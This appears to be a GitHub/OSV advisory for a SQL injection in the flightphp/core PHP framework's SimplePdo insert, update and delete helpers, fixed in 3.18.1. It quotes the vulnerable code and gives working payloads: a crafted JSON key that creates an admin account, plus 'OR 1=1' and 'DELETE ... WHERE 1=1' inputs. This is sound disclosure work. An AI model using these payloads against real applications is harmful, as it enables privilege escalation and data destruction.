CVE-2026-42550: Flightphp/core :insert / Update / Delete Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xwqr-rcqg-22mr",
  "modified" : "2026-05-14T20:40:00Z",
  "published" : "2026-05-06T21:35:55Z",
  "aliases" : [ "CVE-2026-42550" ],
  "summary" : "Flight vulnerable to SQL Injection via unvalidated identifiers in SimplePdo::insert / update / delete",
  "details" : "### Summary\n`SimplePdo::insert()`, `SimplePdo::update()`, and `SimplePdo::delete()` build SQL statements by concatenating the `$table` argument and the **keys** of the `$data` array directly into the query, with no identifier quoting and no validation. When an application forwards user-controlled data shapes to these helpers — a common and documented pattern, e.g. `$db->insert('users', $request->data->getData())` — an attacker can inject arbitrary SQL by crafting malicious array keys.\n\n### Affected code\n`flight/database/SimplePdo.php`:\n\n```php\n// insert (≈ 320-373)\n$sql = sprintf(\n    \"INSERT INTO %s (%s) VALUES (%s)\",\n    $table,                            // raw concat\n    implode(', ', $columns),           // raw array_keys($data)\n    implode(', ', $placeholders)\n);\n\n// update (≈ 397-409)\n$sets[] = \"$column = ?\";               // $column = user-controlled key\n$sql = sprintf(\n    \"UPDATE %s SET %s WHERE %s\",\n    $table,                            // raw\n    implode(', ', $sets),\n    $where\n);\n\n// delete (≈ 427-429)\n$sql = \"DELETE FROM $table WHERE $where\";\n```\n\nNo identifier-quoting helper exists; neither `$table` nor the data keys are validated against a safe-identifier pattern.\n\n### Proof of concept\nA controller does:\n```php\n$db->insert('users', $request->data->getData());\n```\n\nThe attacker sends the JSON body:\n```json\n{\"name, is_admin) VALUES (?, 1);-- \": \"attacker_injected\"}\n```\n\nGenerated SQL:\n```sql\nINSERT INTO users (name, is_admin) VALUES (?, 1);-- ) VALUES (?)\n```\n\nAfter the `--` comment, the effective statement `INSERT INTO users (name, is_admin) VALUES (?, 1)` binds the single placeholder `'attacker_injected'`, yielding a row with `is_admin = 1`.\n\nReproduced live on an in-memory sqlite database (`testproj/sqli_live2.php`):\n\n```\nid=1  name=alice              is_admin=0\nid=2  name=attacker_injected  is_admin=1   <-- injected insert\n```\n\n`UPDATE` injection via the `$where` parameter was also reproduced: `$db->update('users', ['is_admin' => 1], \"id = 1 OR 1=1\")` flips admin on every row.\n\n### Impact\n- **Privilege escalation** on any signup / register endpoint that forwards request data to `insert()` (attacker creates an administrative account in a single request).\n- Arbitrary column write through `update()` keys.\n- Data destruction and exfiltration through the `$where` parameter (`DELETE FROM users WHERE 1=1`, UNION-based exfil, etc.).\n\n### Patch (fixed in `3.18.1`, commit `b8dd23a`)\nA new `requireSafeIdentifier()` helper validates table names and column names against `^[A-Za-z_][A-Za-z0-9_]*$` before they are interpolated into the SQL string. The `$where` parameter remains raw SQL as documented — parameterized values passed alongside it continue to be bound safely.\n\n### Credit\nDiscovered by **@Rootingg**.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "flightphp/core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.18.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/flightphp/core/security/advisories/GHSA-xwqr-rcqg-22mr"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-42550"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/flightphp/core/commit/b8dd23aaa828cb289fa3c84e75b2a3717cab50b0"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/flightphp/core"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/flightphp/core/releases/tag/v3.18.1"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-06T21:35:55Z",
    "nvd_published_at" : "2026-05-13T20:16:22Z"
  }
}